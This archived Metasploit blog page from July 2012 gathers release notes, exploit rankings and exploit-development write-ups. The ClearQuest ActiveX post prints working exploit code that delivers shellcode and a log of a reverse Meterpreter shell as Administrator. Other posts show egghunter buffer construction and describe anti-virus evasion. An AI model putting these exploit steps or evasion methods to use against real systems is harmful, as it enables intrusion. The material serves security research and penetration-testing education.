Skip navigation
All Places > Metasploit > Blog > 2012 > July
2012

Fresh out of the oven and in time for Black Hat Las Vegas, we present to you the new Metasploit 4.4 with these great new features:

 

Focus Your Remediation Efforts: Metasploit Risk Validation for Nexpose Vulnerability Management

 

You may have been in this situation: your vulnerability scanning report is so long you don’t know where to start. You don't have time to address all vulnerabilities, and you don't know which ones are important. If this sounds familiar, you may get very excited about Metasploit Pro's new and improved integration with Rapid7 Nexpose, which makes your problem go away.

 

Why does this challenge exist in the first place? Vulnerability scanners can identify what software versions are installed and knows which software versions have potential vulnerabilities, but they can't detect whether a firewall, IDS, or other compensating controls affect the exploitability. Without being able to validate the risks, IT teams may be focusing on lower priority risks, rather than prioritizing vulnerabilities with known exploits and no compensating controls associated, which represent a very real threat to the organization.

 

By integrating Metasploit Pro with Nexpose for risk validation, you can now prioritize the critical vulnerabilities that pose a real risk, fixing them before it's too late. Now you can focus your efforts on what matters.

 

Risk Validation and Verification with Metasploit

 

Specifically, Metasploit now tightly integrates with Nexpose by:

  • Importing rich vulnerability data from Nexpose scans, sites, and XML
  • Automatically validating the exploitability of many high-risk vulnerabilities
  • Providing a simplified process to spot-check individual vulnerabilities
  • Pushing granular exploit results back to Nexpose via Vulnerability Exceptions
  • Pushing device classifications back to Nexpose Asset Groups via Metasploit Tags
  • Enhancing Metasploit reports with detailed Nexpose scan data

 

Security professionals benefit from the integration in the following ways:

  • Quickly identify high-risk vulnerabilities not protected by compensating controls
  • Measure the effectiveness of defensive solutions designed  to mitigate vulnerabilities
  • Increase credibility and reduce friction between IT operations and security teams

 

On July 18 at 2pm EST, HD Moore will demonstrate the new functionality in the free webcast “Validate Risks in Your Security Assessment Program”. Register now - limited seats!

 

Improved AV Evasion: "Now they will tremble again, at the sound of our silence" - The Hunt for Red October

 

Security is often an adversarial process. Metasploit is a part of the offensive side of that equation, constantly pushing the defenders to adjust and innovate. This involves a certain ammount of good-natured give-and-take between us here at Metasploit and the vendors who make defensive products like anti-virus solutions. The response to Metasploit from the AV world has been a mixed bag. Over the years our payloads have gotten higher and higher detection rates. This is especially true when an actual executable binary has to land on the target system, such as in the case of the psexec module. We have recently set out to respond back to the AV vendors to once again challenge them to step up their game while we enable our team to slip past their defenses yet again.

 

The problem is essentially two-fold, as it always is with AV. There are the signature detections. These, by and large, appear to be cases where the AV vendors literally copied our template files that the payloads get inserted into, and wrote signatures for them. That way they would pick us up no matter what payload was used, because the template itself would be flagged. This is an extremely lazy approach but has the virtue of being effective if we don't do anything about it. So the first step was to address the issue of these templates. We could generate new templates for our Metasploit Pro users, but we had done that once before and it only bought us a temporary reprieve. To create a more long-term solution we developed a method that generates a totally unique executable every time it's run, making it much more difficult for AV vendors to simply grab the template and write a signature.

 

The second problem is heuristics. This is where the AV vendor actually watches the behavior of the code and tries to analyze it appropriately. This is a far more effective but much more tricky and complicated way of detecting malicious code. Some of the key factors for avoiding this involve hiding obviously suspicious behavior and making it look as normal and innocent as possible. So as we generate our executables each time we pay special care to avoid any obviously malicious activity, and look like a normal legitimate program.

 

The current iteration of this technique is now available for users of the Metasploit Pro product when using the psexec exploit. When selecting the psexec module from the module runner, they can select the DynamicExe option from under Advanced Options. Also, when running a Metasploit Pro Bruteforce they can select 'Dynamically generate payload EXE for SMB' under the payload settings. These generated payloads will in many cases do a better job at evading anti-virus solutions than our old templates. However, they do not have the virtue of being signed. We will continue to improve this feature over the coming weeks, and hopefully continue to improve our ability to evade detection.

 

Speedy UI, Even Under Heavy Load

 

We've taken Metasploit into the wind tunnel and made it a lot more aerodynamic for users who are handling tens of thousands of hosts. The user interface now responds much faster, so you'll have to find a better excuse for your coffee break.

 

Shiny New Auxiliary and Exploit Modules

 

As usual, the big point releases cater more to the commercial Metasploit users while our regular weekly updates provide value to our open source community. Since we released Metasploit 4.3 on April 24, we added 101 new modules to Metasploit: 68 exploits, 22 auxiliary modules, 9 post modules, 1 payload, and 1 encoder. All of these are also available in the free Metasploit Community Edition and in the open source Metasploit Framework, which were both updated with this release.

 

Since our last weekly update, we've added a these new modules to our exploit database:

 

 

Please refer to the release notes for a full list of all new modules since version 4.3.

 

Metasploit 4.4 is Waiting For You

 

If you'd like to see more details on what's in the new release, please read Tod Beardsley's most excellent release notes. If you're already drooling to get the new release, you can download Metasploit now.

Just a quick update this week for some new Metasploit modules. We're holding off on the usual Framework and Pro enhancements as we button up the next point release for Metasploit Pro, Express, and Community Editions. That said, we do have a few neat new modules that I wanted to hilight, so let's take a look.

 

Hacking the Hackers

 

This week's haul includes something a little unusual -- an exploit for Poison Ivy, a blackhat-favored Remote Administration Tool (RAT). Community contributor Gal Badishi wrote the poisonivy_bof module which implements a vulnerability discovered by Andrzej Dereszowski in Poison Ivy 2.3.2. Given that this version has been current since 2008 or so, I don't expect a fix any time soon -- besides, if you happen to find it listening (Poison Ivy binds to TCP/3460 by default), it's a pretty good bet the owner of the computer doesn't know it's running.

 

As a pen-tester, retaking ownership of a machine that's already been compromised is a great story to be able to tell your client -- it really underlines the importance of offensive security testing in live environments. Finding listening RATs and backdoors and the like is one thing, but to be able to turn them around and immediately use them to gather more information on the target network is pretty ninja.

 

Function Prototype Mismatching, Explained

 

Earlier this week, Metasploit's Juan Vazquez provided a ton of details on implementing vulnerability researcher Andrea "rgod" Micalizzi vulnerability in IBM's Rational ClearQuest CQOle ActiveX control, over in his blog post, It isn't Always about Buffer Overflow. I'm getting spoiled by these technical deep dives into how Juan and sinn3r write up these exploits, and a more than a little jealous that they get to spend all their time producing Metapsloit awesomeness. The described exploit is in this week's update, so have fun poking at it.

 

Return of WPAD

 

This week's update also has a new auxiliary module from community contributor "et" which a implements the WPAD man-in-the-middle (MITM) attack. I'm a little surprised we didn't already have this attack knocking around, since it can be such a handy way to redirect client victims to your custom phishing site. In fact, Metasploit contributor James "egypt" Lee's travel laptop is named "wpad," so if you happen to be on a network near him, be careful with your proxy settings. (:

 

If you're not familiar with how the WPAD MITM works, some guy at some company wrote up the attack with a demo a few years ago. It's an okay read.

 

New Modules

 

Here are the new modules -- for details and usage, follow the links to our Exploit Database.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

People often refer to exploits as your good old buffer overflows, but that's not always the case, as there are so many different types of vulnerabilities out there waiting to be found.  One exploit in particular, is the IBM Rational ClearQuest -- CVE-2012-0708 -- which we've recently added to the Metasploit Framework.  This module exploits a function prototype mismatch flaw in IBM's CQOle ActiveX control, discovered by Andrera Micalazzi aka rgod, and we figured the details are worth sharing.

 

The problem arises when you try to call the RegisterSchemaReporFromFileByDbSet from the ClearQuestOleServer.Session control (clsid 94773112-72E8-11D0-A42E-00A024DED613), and it has the following prototype:

 

Function RegisterSchemaRepoFromFileByDbSet (ByVal dbset  As String , ByVal filePath  As String)  As String






 

Really the RegisterSchemaRepoFromFile is going to be called, where the prototype is slightly different:

 

Function RegisterSchemaRepoFromFile (ByVal filePath  As String)  As String






 

There is a difference between these two separate functions. Even though they both are responsible for cleaning the arguments from the stack, the rets are different:

 

  • RegisterSchemaRepoFromFileByDbSet: retn 8
  • RegisterSchemaRepoFromFile: retn 4

 

With this in mind, let's review what happens at the assembler level when RegisterSchemaRepoFromFileByDbSet is called (from javascript as sample):

 

  • Because of the function prototype mismatch the similar function RegisterSchemaRepoFromFile (and not RegisterSchemaRepoFromFileByDbSet) is called:

 

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=06bf5cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0            call    eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}

 

  • But there are two arguments on the stack! The ones from RegisterSchemaRepoFromFileByDbSet!

 

0:000> dd /c1 esp L2
0013e204  0615b450
0013e208  0615b470
0:000> du 0615b450
0615b450  "dbset value"
0:000> du 0615b470
0615b470  "filePath value"

 

  • The ret from RegisterSchemaRepoFromFile is hit and it is going to clean just one argument even when there are still two arguments (pointers) on the stack:

 

0:000> g
(d7c.b54): C++ EH exception - code e06d7363 (first chance)
Breakpoint 1 hit
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=3190b5d9 esp=0013e200 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
cqole!OAdSession::RegisterSchemaRepoFromFile+0x439:
3190b5d9 c20400          ret     4
0:000> dd /c1 esp L3
0013e200  78371064
0013e204  0615b450
0013e208  0615b470
0:000> du 0615b450
0615b450  "dbset value"
0:000> du 0615b470
0615b470  "filePath value"

 

  • Since the callee (RegisterSchemaRepoFromFile) has not cleaned the two arguments from the stack it is going be misaligned. Once back on MFC80U!_AfxDispatchCall its ret is reached with the stack misaligned and ESP pointing to the second argument of the intended RegisterSchemaRepoFromFileByDbSet call:

 

0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3              ret
0:000> dd /c1 esp L2
0013e208  0615b470
0013e20c  7835f5d2 // It is in fact the legit ret address
0:000> du 0615b470
0615b470  "filePath value"

 

  • And there is where ret from MFC80U!_AfxDispatchCall tries to redirect EIP

 

0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=??
0:000> db eip
0615b470  66 00 69 00 6c 00 65 00-50 00 61 00 74 00 68 00  f.i.l.e.P.a.t.h.
0615b480  20 00 76 00 61 00 6c 00-75 00 65 00 00 00 2e 00   .v.a.l.u.e.....

 

  • The result with an string like the one before ("filePath value") is a crash when it is tried to be interpreted as code:

 

0:000> g
(d7c.b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
0615b470 66006900        add     byte ptr [ecx],ch          ds:0023:a265eb6f=??

 

With this explanation in mind, exploitation without DEP is straightforward, just call to RegisterSchemaRepoFromFileByDbSet with an string containing the shellcode as second argument:

 

js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
object_id = rand_text_alpha(rand(8) + 4)
dbset_value = rand_text_alpha(rand(8) + 4)
var_payload = rand_text_alpha(rand(8) + 4)


html = <<-EOS
<html>
<body>
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
<script language="JavaScript">
var #{var_payload} = unescape("#{js_code}")
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
</script>
</body>
</html>
EOS






 

And then of course, we finish off the vulnerability with a shell:

 

msf  exploit(clear_quest_cqole) > exploit 
[*] Exploit running as background job. 

[*] Started reverse handler on 192.168.1.157:4444 
[*] Using URL: http://0.0.0.0:8080/zCEVdD
[*]  Local IP: http://192.168.1.157:8080/zCEVdD
[*] Server started. 
msf  exploit(clear_quest_cqole) > 
[*] 192.168.1.133    clear_quest_cqole - 192.168.1.133:2340 - Sending html 
[*] Sending stage (752128 bytes) to 192.168.1.133 
[*] Meterpreter session 3 opened (192.168.1.157:4444 -> 192.168.1.133:2341) at 2012-07-08 20:41:23 +0200 
[*] Session ID 3 (192.168.1.157:4444 -> 192.168.1.133:2341) processing InitialAutoRunScript 'migrate -f' 
[*] Current server process: IEXPLORE.EXE (3380) 
[*] Spawning notepad.exe process to migrate to 
[+] Migrating to 4028 
[+] Successfully migrated to process 

msf  exploit(clear_quest_cqole) > sessions 

Active sessions 
===============   

Id  Type                   Information                                      Connection   
--  ----                   -----------                                      ----------   
3   meterpreter x86/win32  JUAN-C0DE875735\Administrator @ JUAN-C0DE875735  192.168.1.157:4444 -> 192.168.1.133:2341 (192.168.1.133) 

msf  exploit(clear_quest_cqole) > sessions -i 3 
[*] Starting interaction with 3... 

meterpreter > getuid 
Server username: JUAN-C0DE875735\Administrator 
meterpreter >

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Exploit Database (DB)

The new Metasploit exploit trends are out, where we give you a list of the top 10 most searched Metasploit exploit and auxiliary modules from our exploit database (DB). These stats are collected by analyzing searches on metasploit.com in our webserver logs, not through usage of Metasploit, which we do not track for privacy reasons.

 

In June 2012, we also have three new entries on the list, and seven existing contenders. Here they are, annotated with Tod Beardley's excellent comments:

 

  1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you’ve ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Same position as last month.

  2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Same position as last month.

  3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice. More on this topic in at Microsoft’s Security TechCenter. Same position as last month.

  4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Up 2 places from #6 since last month.

  5. MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption (CVE-2012-1875): This module was mentioned in the IE Zero-Day Exploits blog post along with the XML Core Services bug, CVE-2012-1889. Also like the XML Core services bug, this bug was being actively exploited in the wild in June of 2012. Unlike the XML Core Services bug, though, this one had a patch. I suspect there was some confusion about which bug was patched and which wasn't, given the modules were released close together and both were mentioned in the same post. Regardless, given the recency of these modules, it's not surprising to see them leap into the top ten for June. New entry since last month.

  6. Microsoft XML Core Services MSXML Uninitialized Memory Corruption (CVE-2012-1889): This vulnerability was recently profiled in Wei "sinn3r" Chen's blog post, New Critical Microsoft IE Zero-Day Exploits. As the title suggests, this module exploits an unpatched vulnerability in Internet Explorer, so that's pretty exciting just in and of itself. In addition, this Metasploit module is the first (and still only) safe and reliable method to test the efficacy of whatever mitigation strategy your client workstations might have implemented.  New entry since last month. Update: Microsoft has now released a patch for this vulnerability.

  7. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Not sure why this module is popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. More info on that at The H Security. Same position as last month.

  8. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. Even though it’s a lowly #10, I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Up 2 from #10 since last month.

  9. MySQL Authentication Bypass Password Dump (CVE-2012-2122): This module was featured in HD Moore's June blog post, CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL. It's a fun, recent module that exploits a bug in a popular application in a way that's super-easy to explain, so it's no wonder that this module has all the features of a crowd-pleaser. New entry since last month.

  10. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): This module exploits CVE-2010-1240 in Adobe Reader. The idea is that you can embed and execute a Meterpreter PE Executable in a PDF, and when the user opens the PDF, surprise shells! Since it’s on this list, it’s probably the most popular social engineering-style module. More on this topic in at the National Vulnerability Database.  Down 2 places from #8 since last month.

If you want to use any of these exploits right now, you can download Metasploit for free!

Last year at BSides Vegas, James Lee (egypt) and David Rude (bannedit) did a presentation about "Long Beard's Guide to Exploit Dev".  During the talk, James said one thing that I'll never forget: "exploit development is never an easy task, because pretty much every step you do -- finding the offset, finding a return value, using a ROP gadget, etc -- could lead to a failure." Ain't that the truth!  But here's the thing, exploits don't just fail before you pop a shell, it can also happen WHILE you're getting a shell... and that's where my story is.

 

Let's say you're writing an exploit.  You've done all the hard work to put it all together: you spent days in a debugger trying to do some decent root cause analysis for the bug, find all the bad characters, you bypass all the memory protections such as /GS, SafeSEH, you ROP it like a ROP star, and you bypass ASLR like a boss.  Your friends praise you for the accomplishment, some people might even call your exploit "sophisticated".... and then all of a sudden, this is all the "code execution" you get out of your awesome exploit:

 

msf  exploit(0day) > exploit
[*] Server started.
[*] Sending request to 10.0.1.4:80...
[*] Leaked address: 0x61990000
[*] Sending final payload...
[*] Sending stage (752128 bytes) to 10.0.1.4

 

"Hey, WTH?", you say.  For some reason the exploit fails after you've sent the second stage to the vulnerable application, and then the server crashes (this is the key behavior).  You fire the module a couple of times just to make sure, but same thing.  Your shell keeps slipping away from your fingertips... what a nightmare!  This is a pretty nasty problem, because the root cause most likely comes from the exploit.  It also can be a hassle to fix, and you will see why when you see one of the solutions in the end.  But for now, I should probably explain why this is happening.

 

We ran into the same problem recently while developing the exploit for HP Data Protector, so I'll use that as a case-study.  During the later stage of the development of that module, the buffer was crafted this way:

 

print_status("Using egghunter with checksum")
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })
my_payload = egg
my_payload << "A"*(target['Offset']-my_payload.length)
my_payload << generate_seh_record(target.ret)
my_payload << hunter
my_payload << "A"*(4080-my_payload.length)


 

As you can see, the max buffer size is 4080 bytes -- this is key.  And then when we fire up this module, we'd see the same stage delivering message, and then hit this bug:

 

0:008> r
eax=03f664d4 ebx=3743fde1 ecx=0000c9ed edx=000c1000 esi=3743fdc9 edi=03f501a4
eip=7c952d6b esp=019ed278 ebp=019ed2ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ntdll!RtlQueryProcessHeapInformation+0x2ba:
7c952d6b 8b4e14          mov     ecx,dword ptr [esi+14h] ds:0023:3743fddd=????????

0:008> k
ChildEBP RetAddr  
019ed2ec 7c953341 ntdll!RtlQueryProcessHeapInformation+0x2ba
019ed348 7c864afe ntdll!RtlQueryProcessDebugInformation+0x1ee
019ed36c 03bd7e23 kernel32!Heap32First+0x48
WARNING: Frame IP not in any known module. Following frames may be wrong.
019edc2c 7c802600 +0x3bd7e22
019edc7c 00000000 kernel32!WaitForSingleObjectEx+0xd8

 

We should probably point out that ESI is actually a string that's user-supplied.  We were able to determine this, because when we tested the module again with pattern_create() instead of a long string of "A"s, pattern_offset.rb was able to locate the string... exactly 38 bytes after the egghunter.  So the above WinDBG log shows that after the staged payload delivery, there is some sort of heap corruption, and evidently our string has something to do with that.

 

Remember, this buffer overflow is supposed to be all stack smashing. But as we examine the memory more closely by doing a non-crashy request vs the crashy one, we found something interesting.  The following is the memory dump starting where the SEH is (that we overwrite):

 

Stack from the healthy version of the exploitStack from the non-healthy version of the exploit
0244ff9c  d64d06eb
0244ffa0  66dd3e49 SE Handler
0244ffa4  ffca8166
0244ffa8  6a52420f
0244ffac  2ecd5802
0244ffb0  745a053c
0244ffb4  3077b8ef
0244ffb8  d7897430
0244ffbc  afea75af
0244ffc0  3151e775
0244ffc4  02c031c9
0244ffc8  66410f04
0244ffcc  013df981
0244ffd0  043af575
0244ffd4  d175590f
0244ffd8  3077e7ff
0244ffdc  ff007430
0244ffe0  7c839ac0 kernel32!_except_handler3
0244ffe4  7c80b720 kernel32!`string'+0x88
0244ffe8  00000000
0244ffec  00000000
0244fff0  00000000
0244fff4  1022db2c dpwinsup!Mbcsisupper+0x21d627
0244fff8  019d75a0
0244fffc  00000000 Stack
02450000  000000c1 starting here is the heap
02450004  0000017a
02450008  eeffeeff
0245000c  00001003
02450010  00000001
02450014  0000fe00
02450018  00100000
0245001c  00002000
02450020  00000200
02450024  00002000
02450028  00001f6d
0245002c  7ffdefff
02450030  06080019
0244ff9c  d64d06eb
0244ffa0  66dd3e49 SE Handler
0244ffa4  ffca8166
0244ffa8  6a52420f
0244ffac  2ecd5802
0244ffb0  745a053c
0244ffb4  3077b8ef
0244ffb8  d7897430
0244ffbc  afea75af
0244ffc0  3151e775
0244ffc4  02c031c9
0244ffc8  66410f04
0244ffcc  013df981
0244ffd0  043af575
0244ffd4  d175590f
0244ffd8  41414141
0244ffdc  41414141
0244ffe0  41414141
0244ffe4  41414141
0244ffe8  00000000
0244ffec  00000000
0244fff0  00000000
0244fff4  41414141
0244fff8  41414141
0244fffc  04141414  Still stack
02450000  41414141  starting here is the heap
02450004  41414141
02450008  41414141
0245000c  41414141
02450010  41414141
02450014  41414141
02450018  41414141
0245001c  41414141
02450020  41414141
02450024  41414141
02450028  41414141
0245002c  41414141
02450030  41414141

 

In case you haven't noticed, yes, while the exploit is overflowing the stack, it's also writing to the heap.  A simple !address command verifies this:

 

0:010> !address 0244fffc
     02350000 : 02440000 - 00010000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageStack
                    Pid.Tid  69a0.6ac4

0:010> !address 02450000
    02450000 : 02450000 - 00016000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageHeap
                    Handle   02450000

 

And clearly, the dt command shows what the corrupt heap structure 0x02450000 looks like:

 

     0:010> dt _HEAP 02450000
     ntdll!_HEAP
        +0x000 Entry            : _HEAP_ENTRY
        +0x008 Signature        : 0x41414141
        +0x00c Flags            : 0x41414141
        +0x010 ForceFlags       : 0x41414141
        +0x014 VirtualMemoryThreshold : 0x41414141
        +0x018 SegmentReserve   : 0x41414141
        +0x01c SegmentCommit    : 0x41414141
        +0x020 DeCommitFreeBlockThreshold : 0x41414141
        +0x024 DeCommitTotalFreeThreshold : 0x41414141
        +0x028 TotalFreeSize    : 0x41414141
        +0x02c MaximumAllocationSize : 0x41414141
        +0x030 ProcessHeapsListIndex : 0x4141
        +0x032 HeaderValidateLength : 0x4141
        +0x034 HeaderValidateCopy : 0x41414141 
        +0x038 NextAvailableTagIndex : 0x4141
        +0x03a MaximumTagIndex  : 0x4141
        +0x03c TagEntries       : 0x41414141 _HEAP_TAG_ENTRY
        +0x040 UCRSegments      : 0x41414141 _HEAP_UCR_SEGMENT
        +0x044 UnusedUnCommittedRanges : 0x41414141 _HEAP_UNCOMMMTTED_RANGE
        +0x048 AlignRound       : 0x41414141
        +0x04c AlignMask        : 0x41414141
        +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]
        +0x058 Segments         : [64] 0x41414141 _HEAP_SEGMENT
        +0x158 u                : __unnamed
        +0x168 u2               : __unnamed
        +0x16a AllocatorBackTraceIndex : 0x4141
        +0x16c NonDedicatedListLength : 0x41414141
        +0x170 LargeBlocksIndex : 0x41414141 
        +0x174 PseudoTagEntries : 0x41414141 _HEAP_PSEUDO_TAG_ENTRY
        +0x178 FreeLists        : [128] _LIST_ENTRY [ 0x41414141 - 0x41414141 ]
        +0x578 LockVariable     : (null) 
        +0x57c CommitRoutine    : (null) 
        +0x580 FrontEndHeap     : (null) 
        +0x584 FrontHeapLockCount : 0
        +0x586 FrontEndHeapType : 0 ''
        +0x587 LastSegmentIndex : 0 ''

 

When the payload uses the heap, that's when we get the crash.  Based on our data, this crash tends to happen after the handler complets transmitting the payload (that's after recv), and then when the Tool Help Functions ends up using the bad heap (CreateToolHelp32Snapshot -> kernel32.Heap32ListFirst -> Heap32First, in particular), causing our meterpreter to crash.  We have also seen other behaviors that lead to the crash, but not too far off from the same reason.

 

The Solutions

 

Now we know for scenarios like this, the user-supplied buffer is highly likely the root cause of the problem.  In our case with HP Data Protector, the string is just way to long, and it's overwriting the heap.  We have seen a few proven solutions in the past, and here they are:

 

  • Avoid corrupting the heap by reducing your malicious string size.  This should be the most simple way you should try first, but may not always work well for you because a smaller size buffer may not even trigger the vulnerability you're exploiting.
  • Inject your payload somewhere else, where no heap is busted.  So far this technique has only been used once, and it was done by corelanc0d3r and lincoln.  This is similar to using the 'migrate' feature in a meterpreter, except their injection routine occurs before the actual Metasploit payload begins. You can read up more about this technique here.
  • Induce a heap pointer manually, for example: ms04_011_pct.rb

 

And hopefully one of the above recommendations will do the trick for you.

 

By the way, in case you're interested in Metasploit module development, make sure to create your development setup, and then join the sweet action of the Metasploit Project.  Github and Redmine often reveal a lot about how a module is made, and every exploit always tends to be an unique story -- great places to begin your exploit development journey!

Recently, we added a module for CVE-2012-0124 which exploits a stack buffer overflow flaw in the backup management component of HP Data Protector Express. The overflow occurs during the creation of new folders, and allows an authenticated user on HP Data Protector Express to execute arbitrary code with SYSTEM privileges on Windows platforms.  We figured this is a nice opportunity to demonstrate a good egghunter scenario.

 

The following is the code responsible of the buffer overflow:

 

assembler.png

 

This function has these two important arguments in pointers: src_arg_0 and dst_arg_4 and copies data from src_arg_0 to dst_arg_4 in the following way:

 

  • The src_arg_0 buffer is split in blocks of: 55 bytes (first block) and 483 bytes (rest of the blocks).
  • The dst_arg_4 buffer is split in blocks of 512 bytes.
  • The first block of src_arg_0 (55 bytes) is copied to the last 55 bytes of the first block of dst_arg_4.
  • The rest of the blocks of src_arg_0 (483 bytes every one) are copied to the offset 0x1C (28) of the blocks of dst_arg_4.

 

If we breakpoint at the vulnerable function, and dump ESP, we can see these arguments:

 

Breakpoint 0 hit
eax=0393f27c ebx=01aa54d4 ecx=01aa5600 edx=0393f264 esi=0393fac4 edi=01aa54e8
eip=0155cd40 esp=0393f244 ebp=0393fe38 iopl=0        nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000216
dpwindtb!DtbClsGetFixedObjectId+0x49e5f:
0155cd40 51              push    ecx
0:020> dd /c1 esp l3
0393f244  0151c154 ; ret
0393f248  01aa5600 ; srg_arg_0
0393f24c  0393f27c ; dst_arg_4

 

We see that the source buffer (srg_arg_0) is stored in the address 0x01aa5600 on the heap:

 

0:020> !address 01aa5600

Usage:                  Heap
Base Address:           019f7000
End Address:            01aaa000
Region Size:            000b3000
State:                  00001000 MEM_COMMIT
Protect:                00000004 PAGE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        01980000
Allocation Protect:     00000004 PAGE_READWRITE
More info:              heap owning the address: !heap 0x620000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x1aa5600

 

The source buffer also contains the user-supplied folder name.  As the following shows we've located our string "w00tw00t", which will be used as our "egg" later on:

 

0:020> db 01aa5600 L10
01aa5600  77 30 30 74 77 30 30 74-db ca bb 28 f1 f8 8f d9  w00tw00t...(....

 

The folder name is going to be copied to the destination buffer at address 0x0393f27, which is on the stack:

 

0:020> !address 0393f27c

Usage:                  Stack
Base Address:           03930000
End Address:            03940000
Region Size:            00010000
State:                  00001000 MEM_COMMIT
Protect:                00000004 PAGE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        03840000
Allocation Protect:     00000004 PAGE_READWRITE
More info:              ~20k

 

If we debug the vulnerable function, we can confirm our static analysis. The first 55 bytes of src_arg_0 are copied to the end of the first block (512 bytes) of the dst_arg_4 buffer:

 

0:020> db 0393f27c L200
0393f27c  01 00 11 67 00 00 00 00-00 00 00 00 00 00 00 00  ...g............
0393f28c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f29c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2ac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2bc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f2fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f30c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
